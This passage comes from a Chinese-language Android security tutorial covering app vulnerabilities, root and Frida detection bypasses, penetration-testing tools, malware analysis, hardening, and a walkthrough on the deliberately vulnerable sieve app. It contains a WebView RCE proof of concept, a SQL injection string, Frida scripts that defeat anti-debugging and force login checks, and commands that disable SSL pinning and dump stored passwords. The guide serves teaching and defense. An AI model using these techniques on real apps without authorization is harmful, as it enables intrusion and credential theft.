file 域互相访问 | 本地文件泄露 |
onReceivedSslError 中 proceed() |
忽略 SSL 错误 | 中间人攻击 |
setSavePassword(false) 未设置 |
保存明文密码 | 历史版本泄露 |
WebView RCE 经典 PoC(API<17):
html
<script>
function exec(cmd) {
return window.jsinterface.getClass().forName("java.lang.Runtime")
.getMethod("getRuntime", null).invoke(null, null).exec(cmd);
}
</script>
9.2 Intent注入漏洞
java
// 漏洞代码:未校验 getExtras 来源
Intent received = getIntent();
Intent target = received.getParcelableExtra("redirect");
if (target != null) startActivity(target);
攻击者构造 PendingIntent 传入恶意 Intent,目标应用以自身权限启动任意组件。修复需校验目标包名与组件,或限制 PendingIntent 的可变标志。
9.3 SQL注入漏洞
SQLite 拼接注入:
java
// 漏洞代码
Cursor c = db.rawQuery("SELECT * FROM users WHERE name='" + name + "'", null);
利用:传入 ' OR '1'='1 即可绕过条件。修复使用参数化查询 rawQuery("SELECT * FROM users WHERE name=?", new String[]{name})。
Room 框架默认参数化,但 @Query 中若拼接 + 仍可能引入注入。
9.4 不安全文件存储
java
// 漏洞:全局可读
FileOutputStream fos = openFileOutput("token", MODE_WORLD_READABLE);
fos.write(token.getBytes());
API 17 起 MODE_WORLD_READABLE/WRITEABLE 已废弃但仍可用,任何应用可读取。修复使用 MODE_PRIVATE,敏感数据存 Keystore 或加密后存储。
9.5 不安全Intent传递
PendingIntent 风险:若以 PendingIntent.getActivity(this, 0, intent, 0) 传递基础 Intent 且未指定目标组件,攻击者可填充任意 Intent。Android 12+ 强制 FLAG_IMMUTABLE/FLAG_MUTABLE,应优先 FLAG_IMMUTABLE。
隐式 Intent 传递敏感数据可被第三方应用劫持,敏感动作应使用显式 Intent。
9.6 硬编码密钥
smali
const-string v0, "AES/ECB/PKCS5Padding"
const-string v1, "1234567890abcdef"
逆向时全局搜索 const-string 中的 Base64、Hex、疑似密钥串,结合 Cipher、Mac、MessageDigest 调用点判断用途。
9.7 完整漏洞利用集
text
反编译 → 搜索const-string敏感串 → 定位加密算法 → 还原密钥/IV
→ 解密通信数据 → 构造WebView PoC验证RCE → SQL注入测试
→ 组件越权调用 → 文件泄露验证 → 输出漏洞报告
十、Android Root检测与绕过
商业应用普遍集成 Root 检测、Frida 检测,绕过检测是动态分析的前置条件。
10.1 Root检测方法
| 检测方式 | 实现要点 | 绕过思路 |
|---|---|---|
| su 文件检查 | 遍历 which su 及常见路径 |
Hook File.exists |
| 系统属性 | getprop ro.build.tags=test-keys |
Hook SystemProperties.get |
| 包名检查 | 检测 Magisk/SuperSU 包名 | Hook PackageManager |
| Magisk 检测 | 扫描 /sbin/magisk、/data/adb/magisk |
Magisk Hide/Zygisk |
| SELinux 状态 | 读取 /sys/fs/selinux/enforce |
伪造读取 |
| ro.debuggable | getprop ro.debuggable |
Hook 属性 |
| RootBeer 库 | 综合多项检测 | 针对性 Hook |
10.2 Frida检测方法
| 检测方式 | 实现 | 绕过 |
|---|---|---|
| 端口检测 | 扫描 27042 默认端口 | frida-server 改端口 |
| 线程名检测 | 遍历 /proc/self/task 找 gum-js-loop |
改线程名 |
| SO 文件检测 | 扫描 maps 找 frida-agent |
重命名 SO |
| Maps 检查 | 读取 /proc/self/maps 查 frida |
Hook open/fopen |
| D-Bus 检测 | 向 27042 发 D-Bus 探测 | 改协议或端口 |
10.3 SafetyNet与Play Integrity
Google 的硬件背书检测,服务端校验,单纯本地 Hook 难以绕过。SafetyNet 已逐步被 Play Integrity 取代。绕过思路:Hook SafetyNetClient、IntegrityManager 的结果回调,或使用 Magisk 模块(如 Shamiko)配合 Trident/SNET 方案;服务端严格校验时需真实通过环境。
10.4 Root绕过方案
| 方案 | 工具 | 适用 |
|---|---|---|
| Magisk Hide | Magisk | 早期方案,已弃用 |
| Zygisk | Magisk + Zygisk | 主流,按进程隐藏 |
| Shamiko | Zygisk 模块 | 隐藏 Magisk root |
| LSPosed | Xposed 框架 | 模块化 Hook 检测 |
| Frida 脚本 | 通用 | 临时绕过单点检测 |
10.5 Frida隐藏
bash
# 修改 frida-server 端口与名称
mv frida-server fridas
./fridas -l 0.0.0.0:8888
# 客户端连接指定端口
frida -H 127.0.0.1:8888 -U -f com.example.app -l hook.js
# frida-gadget 重打包嵌入
objection patchapk -s com.example.app
反反调试脚本示例:
javascript
// 绕过 /proc/self/maps 检测
Interceptor.attach(Module.findExportByName("libc.so", "open"), {
onEnter: function (args) {
var path = Memory.readCString(args[0]);
if (path.indexOf("/proc/") !== -1 && path.indexOf("maps") !== -1) {
// 重定向到伪造文件
}
}
});
// 绕过 ptrace 反调试
Interceptor.attach(Module.findExportByName("libc.so", "ptrace"), {
onLeave: function (retval) { retval.replace(0); }
});
10.6 完整检测绕过方案
text
Magisk+Zygisk+Shamiko隐藏root → frida-server改名改端口 → 反反调试脚本
→ Hook关键检测点 → objection root disable → 真机/云手机规避Play Integrity
十一、移动应用渗透测试
11.1 OWASP MASVS测试分类
| 类别 | MASVS 编号 | 关注点 |
|---|---|---|
| 架构/设计 | MASVS-ARCH | 安全设计、威胁建模 |
| 数据存储 | MASVS-STORAGE | 本地数据加密、日志 |
| 密码学 | MASVS-CRYPTO | 算法选择、密钥管理 |
| 网络通信 | MASVS-NETWORK | TLS、Pinning、证书 |
| 平台交互 | MASVS-PLATFORM | WebView、组件、IPC |
| 代码质量 | MASVS-CODE | 硬编码、调试、混淆 |
| 认证 | MASVS-AUTH | 会话、令牌、生物识别 |
| 会话管理 | MASVS-SESSION | 超时、注销、固定 |
11.2 移动测试checklist
| 类别 | 检查项 |
|---|---|
| 数据存储 | 敏感数据加密存储;SharedPreferences 无明文;数据库加密;不写入日志;剪贴板不存敏感信息;备份关闭 |
| 密码学 | 不使用 ECB;随机数用 SecureRandom;密钥存 Keystore;不硬编码密钥;IV 不固定 |
| 网络 | 强制 HTTPS;Pinning 生效;不忽略证书错误;无明文传输;证书校验完整 |
| 组件 | exported 必要性;权限保护;Intent 校验;Provider 权限;隐式 Intent 风险 |
| WebView | JS 桥接最小化;file 域关闭;忽略 SSL 错误处理;targetSdk 足够高 |
| 认证 | 密码强度;锁定策略;令牌有效期;会话注销;生物识别绑定 |
| 代码质量 | debuggable 关闭;allowBackup 关闭;混淆启用;签名校验;完整性校验 |
| 反逆向 | Root 检测;Frida 检测;调试检测;加壳;反 Hook |
| 隐私 | 权限最小化;隐私政策;数据采集告知;第三方 SDK 合规;数据出境 |
11.3 测试工具集
| 工具 | 用途 | 平台 |
|---|---|---|
| Burp Suite | 抓包、协议分析 | PC |
| Drozer | 组件/IPC 测试 | PC+设备 |
| Frida | 动态 Hook | PC+设备 |
| objection | 自动化分析 | PC+设备 |
| MASTG | 测试指南与脚本 | PC |
| MobSF | 静态/动态自动分析 | PC |
| QARK | 静态漏洞扫描 | PC |
| APKTool/JADX | 逆向 | PC |
| IDA/Ghidra | Native 逆向 | PC |
| nuclei | 模板化漏洞检测 | PC |
11.4 Drozer使用指南
bash
# 启动 agent
adb forward tcp:31415 tcp:31415
drozer console connect
常用命令:
text
dz> run app.package.info -a com.example.app # 应用信息
dz> run app.package.attacksurface com.example.app # 攻击面
dz> run app.activity.info -a com.example.app # Activity 列表
dz> run app.activity.start --component com.example.app .LoginActivity # 启动组件
dz> run app.service.info -a com.example.app # Service 列表
dz> run app.provider.finduri com.example.app # 查找 Provider URI
dz> run scanner.provider.injection -a com.example.app # SQL 注入扫描
dz> run app.broadcast.info -a com.example.app # 广播列表
dz> run app.broadcast.send --action com.example.ACTION # 发送广播
11.5 完整渗透测试流程
text
信息收集 → 攻击面分析(Drozer) → 逆向(APKTool/JADX) → Manifest审计
→ 组件测试(Drozer) → 抓包(Burp) → SSL绕过 → 协议分析
→ 动态Hook(Frida) → 漏洞验证 → 风险评估 → 报告输出
十二、Android恶意软件分析
12.1 恶意行为分类
| 类型 | 行为 | 典型权限 |
|---|---|---|
| 短信劫持 | 拦截/转发短信、拦截验证码 | READ_SMS, RECEIVE_SMS |
| 通讯录窃取 | 上传通讯录、通话记录 | READ_CONTACTS, READ_CALL_LOG |
| 银行木马 | 覆盖界面、窃取凭据 | SYSTEM_ALERT_WINDOW, BIND_ACCESSIBILITY |
| 勒索软件 | 加密文件、锁屏勒索 | DEVICE_ADMIN, SYSTEM_ALERT_WINDOW |
| 广告欺诈 | 后台点击、隐藏图标 | INTERNET, WAKE_LOCK |
| 挖矿木马 | 算力窃取 | INTERNET, WAKE_LOCK |
| Root 提权 | 利用漏洞获取 root | 内核 exploit |
| 僵尸网络 | C2 控制组网 | INTERNET, RECEIVE_BOOT_COMPLETED |
12.2 权限滥用分析
重点检查敏感权限组合:RECEIVE_SMS + INTERNET(短信外传)、SYSTEM_ALERT_WINDOW + BIND_ACCESSIBILITY(银行木马)、DEVICE_ADMIN + RECEIVE_BOOT_COMPLETED(持久化勒索)。
12.3 C2通信检测
| 信道 | 特征 | 检测 |
|---|---|---|
| HTTP/HTTPS | 明文或加密请求 | 抓包、JA3 指纹 |
| DNS | DNS 隧道、DGA | DNS 日志分析 |
| GCM/FCM | 推送指令 | Hook FirebaseMessagingService |
| Firebase | 实时数据库指令 | 监控数据库监听 |
12.4 动态行为监控
沙箱方案:Cuckoo Sandbox、MobSF 动态分析、自建 Frida 监控脚本。监控点包括网络请求、文件读写、短信收发、反射调用、动态加载、JNI 调用。
12.5 混淆与加壳分析
| 加固方案 | 特征 | 脱壳思路 |
|---|---|---|
| DexGuard | 字符串加密、类加密 | 内存 dump dex |
| 梆梆/360/腾讯 | 类抽取、VMP | Fart/dexdump 内存脱壳 |
| 自实现加壳 | SO 解密 dex | Hook DefineClass/DexFile |
脱壳工具:FRIDA-DEXDump、Fart、BlackDex、Youpk。原理均为在 dex 加载到内存后 dump。
12.6 完整恶意软件分析流程
text
隔离环境 → 静态扫描(VirusTotal) → 逆向提取行为 → 权限分析 → Manifest审计
→ 沙箱动态运行 → 网络流量捕获 → C2定位 → 加壳检测 → 脱壳 → 行为还原 → 报告
十三、Android安全加固与防御
13.1 代码混淆方案
| 方案 | 类型 | 特点 |
|---|---|---|
| ProGuard | 开源混淆 | 类/方法/字段重命名,优化 |
| R8 | 开源混淆 | 替代 ProGuard,含 shrinking |
| DexGuard | 商业 | 字符串加密、类加密、反调试 |
| 梆梆加固 | 商业壳 | DEX 加密、VMP、反调试 |
| 360 加固 | 商业壳 | 类抽取、SO 加固 |
| 腾讯乐固 | 商业壳 | DEX 加密、防截屏 |
| 爱加密 | 商业壳 | DEX/SO 双保护 |
13.2 加壳原理
加壳流程:DEX 加密打包 → 运行时 SO 解密 → 动态加载原始 DEX → DefineClass 注册。反调试通过 ptrace 自附加、检测调试器、检测 Frida 线程实现。
13.3 反调试与反Hook
| 技术 | 实现 |
|---|---|
| ptrace 自附加 | ptrace(PTRACE_TRACEME) 阻止其他调试器 |
| 调试器检测 | 读取 /proc/self/status 的 TracerPid |
| Frida 线程检测 | 遍历 /proc/self/task 找 gum-js-loop |
| 端口检测 | 扫描 27042 |
| 时间检测 | 关键函数计时,调试时明显变慢 |
| 签名校验 | 运行时比对签名 hash |
| 完整性校验 | 校验 classes.dex 的 SHA-1 |
13.4 完整性校验
java
// 签名校验
public boolean verifySignature(Context ctx) {
try {
PackageManager pm = ctx.getPackageManager();
PackageInfo info = pm.getPackageInfo(ctx.getPackageName(), PackageManager.GET_SIGNATURES);
Signature sig = info.signatures[0];
String hash = md5(sig.toByteArray());
return "已知hash".equals(hash);
} catch (Exception e) { return false; }
}
Dex 校验通过比对 classes.dex 的 SHA-1 与预存值,防止重打包篡改。建议将校验下沉到 Native,增加逆向难度。
13.5 安全SDK集成
主流安全 SDK:腾讯御安全、阿里聚安全、360 加固保、爱加密、网易易盾、梆梆安全。集成时关注反调试、反 Hook、反截屏、键盘安全、传输加密、签名校验等模块覆盖度。
13.6 完整加固方案
text
代码混淆(R8) → DEX加壳(梆梆/360) → SO加固(VMP) → 反调试(Native)
→ 反Frida(端口/线程/maps检测) → 签名校验(Native) → 完整性校验
→ Root检测 → 截屏防护 → 通信加密(国密/定制协议) → 隐私合规
十四、靶场实战:完整Android渗透流程
14.1 靶场选择
| 靶场 | 类型 | 特点 |
|---|---|---|
| DVHMA | 故意漏洞应用 | 覆盖 OWASP Top 10 |
| sieve | 密码管理器 | 经典存储/组件漏洞 |
| MASTG 应用 | 官方示例 | 含 RSA Pinning、Root 检测 |
| DIVA | 漏洞应用 | 覆盖常见漏洞类别 |
| 自建应用 | 自定义 | 可控难度与场景 |
14.2 完整渗透流程演示
以 sieve 为例,从零到漏洞利用。
第一步,反编译:
bash
apktool d sieve.apk -o sieve_out
jadx -d sieve_jadx sieve.apk
第二步,Manifest 审计:
bash
# 查找导出组件
grep "exported=\"true\"" sieve_out/AndroidManifest.xml
# 发现 com.mwr.example.sieve.PWList exported=true 无权限保护
第三步,Drozer 组件测试:
text
dz> run app.package.attacksurface com.mwr.example.sieve
dz> run app.activity.info -a com.mwr.example.sieve
dz> run app.service.info -a com.mwr.example.sieve
dz> run app.provider.finduri com.mwr.example.sieve
# 发现 ContentProvider com.mwr.example.sieve.DBContentProvider
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/passwords/
第四步,Frida Hook 关键方法:
javascript
Java.perform(function () {
var Login = Java.use("com.mwr.example.sieve.LoginActivity");
Login.checkPW.implementation = function (k) {
var ret = this.checkPW(k);
console.log("checkPW input=" + k + " ret=" + ret);
return true;
};
});
第五步,SSL Pinning 绕过:
text
objection -g com.mwr.example.sieve explore
objection> android sslpinning disable
第六步,漏洞利用:
text
# 利用导出 Provider 读取密码库
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/keys
# 利用导出 Activity 越权
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
第七步,Root 检测绕过:
text
objection> android root disable
14.3 流程要点
每个环节保留日志与截图,记录漏洞的触发条件、危害等级、复现命令与修复建议。靶场练习应覆盖静态逆向、组件测试、动态 Hook、协议分析、绕过检测等全链路,再迁移到真实授权项目。
十五、总结与参考资源
15.1 Android安全检查清单
| 维度 | 检查要点 |
|---|---|
| 架构 | 安全设计、威胁建模、最小权限原则 |
| 存储 | 敏感数据加密、不存明文、备份关闭、日志无敏感 |
| 密码学 | Keystore、无硬编码、参数化 IV、安全随机 |
| 网络 | 强制 HTTPS、Pinning、证书校验 |
| 组件 | exported 必要性、权限保护、Intent 校验 |
| WebView | JS 桥最小化、file 域关闭、忽略 SSL 错误 |
| 代码 | 混淆、debuggable 关闭、完整性校验 |
| 反逆向 | Root/Frida 检测、加壳、反调试 |
| 隐私 | 权限最小化、告知同意、第三方 SDK 合规 |
15.2 Frida脚本速查
| 场景 | 关键 API |
|---|---|
| Java 方法 Hook | Java.use().method.implementation |
| 方法重载 | overload("types") |
| 内部类 | Outer$Inner |
| Native 导出 | Module.findExportByName |
| Native 偏移 | Module.findBaseAddress().add(off) |
| 调用栈 | Thread.backtrace |
| 内存读 | ptr.readCString, hexdump |
| 强制返回 | implementation = function(){return x} |
| 监控所有方法 | 遍历 class.getDeclaredMethods() |
| 动态加载 | Hook DexClassLoader.loadClass |
15.3 工具速查
| 工具 | 命令/用途 |
|---|---|
| APKTool | apktool d/b 反编译/重打包 |
| JADX | jadx -d out apk 反编译 |
| apksigner | apksigner sign/verify 签名 |
| frida | frida -U -f pkg -l js |
| frida-trace | frida-trace -U -i "func" |
| objection | objection -g pkg explore |
| Drozer | dz> run app.package.attacksurface |
| IDA | F5 反编译,G 跳转,X 交叉引用 |
| MobSF | 自动化静态/动态分析 |
15.4 学习资源
| 资源 | 说明 |
|---|---|
| OWASP MASVS | 移动应用安全验证标准 |
| OWASP MASTG | 移动应用安全测试指南 |
| Frida 官方文档 | frida.re/docs |
| objection 文档 | github.com/sensepost/objection |
| 《Android软件安全权威指南》 | 丰生强著 |
| 《Android安全攻防权威指南》 | Joshua J. Drake 等 |
| 《ARM汇编逆向开发》 | Native 逆向基础 |
| BlackHat/DEFCON 议题 | 前沿漏洞研究 |
15.5 参考资源
| 项目 | 地址 |
|---|---|
| OWASP MASVS | owasp.org/masvs |
| OWASP MASTG | owasp.org/mastg |
| Frida | frida.re |
| objection | github.com/sensepost/objection |
| DexHunter | DEX 脱壳工具 |
| FRIDA-DEXDump | 内存脱壳 |
| MobSF | github.com/MobSF/Mobile-Security-Framework-MobSF |
| Drozer | github.com/FSecureLabs/drozer |
| MASTG 应用集 | github.com/OWASP/owasp-mastg |
【提示】 本文所述所有技术仅限授权测试与学习研究使用。未经授权对他人应用进行逆向、Hook、渗透测试属于违法行为,可能触犯《中华人民共和国网络安全法》《数据安全法》《个人信息保护法》及相关刑法条款。请在合法授权范围内开展安全研究,共同维护网络空间安全。

